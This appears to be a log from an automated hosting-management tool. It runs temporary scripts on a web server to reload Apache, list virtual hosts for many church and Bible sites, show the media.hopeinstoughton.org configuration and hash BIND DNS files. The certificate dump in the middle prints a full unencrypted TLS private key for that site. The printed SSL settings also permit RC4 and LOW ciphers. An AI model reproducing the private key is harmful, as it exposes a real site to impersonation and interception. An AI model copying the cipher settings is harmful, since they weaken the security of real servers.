</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf= 1'
fi
2025-10-09 11:29:16:
chmod 755 /tmp/pkp697808; /tmp/pkp697808; rm /tmp/pkp697808
2025-10-09 11:29:16:
2025-10-09 11:29:16:
PUT: /tmp/pkp224330
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-09 11:29:16:
chmod 755 /tmp/pkp224330; /tmp/pkp224330; rm /tmp/pkp224330
2025-10-09 11:29:17:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:29:17: Establishing a connection
2025-10-09 11:29:17:
PUT: /tmp/pkp103945
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-09 11:29:17:
chmod 755 /tmp/pkp103945; /tmp/pkp103945; rm /tmp/pkp103945
2025-10-09 11:29:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-09 11:29:17:
PUT: /tmp/pkp662366
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:29:17:
chmod 755 /tmp/pkp662366; /tmp/pkp662366; rm /tmp/pkp662366
2025-10-09 11:29:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf 1673
<VirtualHost *:80>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName media.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
DocumentRoot /var/www/hopeinstoughton_media/public
<Directory /var/www/hopeinstoughton_media>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Directory /var/www/hopeinstoughton_media/public/static>
Header add Access-Control-Allow-Origin "*"
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/media_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/media_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-09 11:29:17:
PUT: /tmp/pkp840340
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-09 11:29:17:
chmod 755 /tmp/pkp840340; /tmp/pkp840340; rm /tmp/pkp840340
2025-10-09 11:29:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt 5377
aa:8d:26:e3:d4:80:5f:30:31:e2:50:0c:d9:d6:d8:a4
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBvFWDJoJgTcgw8699OnQlDaqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MTAzMDQ0WhcNMjYwMTA3MTAzMDQzWjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAtyrRuZc8DY7lnSS6I9bYpzvcYgsXqeQa93ld5wZQvpl56eH6
nhn1/1IootanCh2BotxUspFobKLtEAG6bqERFP/PIWgEN7KRlVEr0UJ90WrSRfcq
EtQAdpIOUiuvHpPZQG/3H8Nu4+cLkLQMPougneTifWs1smOCAL07PY6V/p0VXyp6
JNMaxEOTd2ysE+A+SaUU8MlSu7RrDs7HtuYEiuMU//BrahtLtVBdp5fKbDXedknI
cle3ArerKb5s+0IhlgKvow0CUtDoExLzMQvW7LBAE/OirImkCCxhwERJFXAmyL+H
oqM6lCKcfNjNCaOX6+CSiCz9tKhwnqHWVlsJGwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBQOcAPawv8YmkyX370TuzlR92y+iDAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1lZGlhLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80My5jcmwwggEEBgorBgEE
AdZ5AgQCBIH1BIHyAPAAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVO
IQAAAZnIu3t3AAAEAwBHMEUCIQCNBhliVIr626ReraUgcCjcuWBcAJRr/jArGozA
WrIEqgIgPxISo5y0bcB9sx8OM+xOgJV9n6BcRY7wUYBe/xWZLO8AdgDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZnIu4NVAAAEAwBHMEUCIQDaSzWK
cJbWAgRYigKes7pcV3WHY0AQ9zB7Z27Twp6k9gIgBep6gRoTvogI4f9OI1xxUdj2
ZvoAbjhs/EZoFy+wKykwDQYJKoZIhvcNAQELBQADggEBAGoY73R6loOdEUFWIEYL
L9+lGpPitNRCv1YC/goEyGQhRhObWq6/Ls8LwwtF0XcBYpA9eQGE1kJW6umfQ+DO
4AWTPu8giHH7iFk9voiuneq9XA/57D118o0I/EAbPPwxb4NSdEl/ojOBcuceId/H
OVBMC2X/S98OZ4D/83hvxumAf1layVr/8slvbSbTmzHnywHhHewB9yrzvcAUnCwi
bMHqOgupXIfYuf2behfFdGcsjid+Ce0q6Swrjjg49iJlOxsDvHOhVO8DRtmAhsfS
gLakFA+5SDz4fFxrVHzwR/Pwg/9tNcfpUdoLCyp5vqirjMP0htNOjahII6+NaWvH
B1U=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3KtG5lzwNjuWd
JLoj1tinO9xiCxep5Br3eV3nBlC+mXnp4fqeGfX/Uiii1qcKHYGi3FSykWhsou0Q
AbpuoREU/88haAQ3spGVUSvRQn3RatJF9yoS1AB2kg5SK68ek9lAb/cfw27j5wuQ
tAw+i6Cd5OJ9azWyY4IAvTs9jpX+nRVfKnok0xrEQ5N3bKwT4D5JpRTwyVK7tGsO
zse25gSK4xT/8GtqG0u1UF2nl8psNd52SchyV7cCt6spvmz7QiGWAq+jDQJS0OgT
EvMxC9bssEAT86KsiaQILGHAREkVcCbIv4eiozqUIpx82M0Jo5fr4JKILP20qHCe
odZWWwkbAgMBAAECggEATqRZy189b2zM9P1R1hVmi9bNtmKg1FaVpW88e/ZgMJVg
nKRjoAHxdp/lxpR2v4cPo8cJrmlz9kC1m8vCKcGJvgRfAC7SsL9AdmWVdJEhyAof
Id8O92qCkGYBNBKBa5V7D4mDBuY39C2873H+V9RHL8OX4tVnBqJmrL6ScsmHaPt6
O/Xc9tj9GVpHjvlg/6c8GmGBo04CBNHbYQ0pFLdsegGnVJ2l5hrW4q9REmCngbEV
bkgFmfDeAhX6LJe9/oBUP6TrY26ygM8HuE+nLBw/Br8/kYvnzKvL8SxBRQeAOfLZ
THaCgGGr+jumCZm9oozG1lvryMyvAfZXA9glZvtR8QKBgQDpX2fxEFeCkFij0U6f
y/hKe1csaeqb8t3iiPX1gXFFRqeU3Ij1uOYEzZ3AbViiM+Ei38ctzQR6X/aKr9YT
dVzbTs/BUZPKwOksfikgsOdEMiIBOt3OcUjHqM+nTflWQ87tQykIr0neGLvYTNrl
RQQ0WAtQMnVHrv7ZjsnqNRAYLwKBgQDI7UDvVdM+zXYlTC8duLN+07r0+9ZZmFjC
r/KajFsPygbUPOf0l/anyPsgqQbSwAgZW51VytdShFStFwf4FL/t78ZKjP3whNg+
PDah5q7MT2WOaXm/2L5jwqf7quTEL/wQ7sfoVXqMLLmllqyOzhSvqbdJ+HoVMx9B
RBLdvrM21QKBgG+MuQRTSWERWi1DuQ9M0evYNPz3y7qrRkAoM1kcfGYeta/EEntR
3DDjj8oQ+lLd9XlT+cL8wm00PYZhMjSu3qm9bDT9p2U8/LfVvhbwODsys2pfFvK8
14sIN+nCrbH8S4bBmXWbQ/WzYOatJdx9NttGUnINDF4tWYfoZr9aiczlAoGBALQ7
der6PqJwJRFx1DXB72jNvj9xA6acrMn+kA0n56szGosZEyxpf/yjoPh8Bj3Xuawd
bPV/HUTMpTQam7Bh1IQ3d9R5wnQUhfDVjGAQEC3+7mcfn/GCF85e1tY+RjThoicC
OdnjiyjgGas6jBERNKcaAurcc44+rEOcL5wvKoz9AoGBAL+SS6twoMdw8ujAQFEl
HZPFgl2prcAYpgvim3uHPSWKXc+Ea06tkFHOA9/mgqwZPVxTztvN+M+i/C2GyG3T
YHzAbdjaMKXi4ZqGouXGFgqA+oljPNHlaSOtotNnm8Q44YlcbXp+y/hpOLbPmp8d
/DM4tifAkmI/TRKup0hMdq4x
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-09 11:32:55: Establishing a connection
2025-10-09 11:44:13: Establishing a connection
2025-10-09 11:44:14:
PUT: /tmp/pkp141690
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-09 11:44:14:
runuser -l bind -s /bin/bash -c '/tmp/pkp141690; rm /tmp/pkp141690'
2025-10-09 11:44:14:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
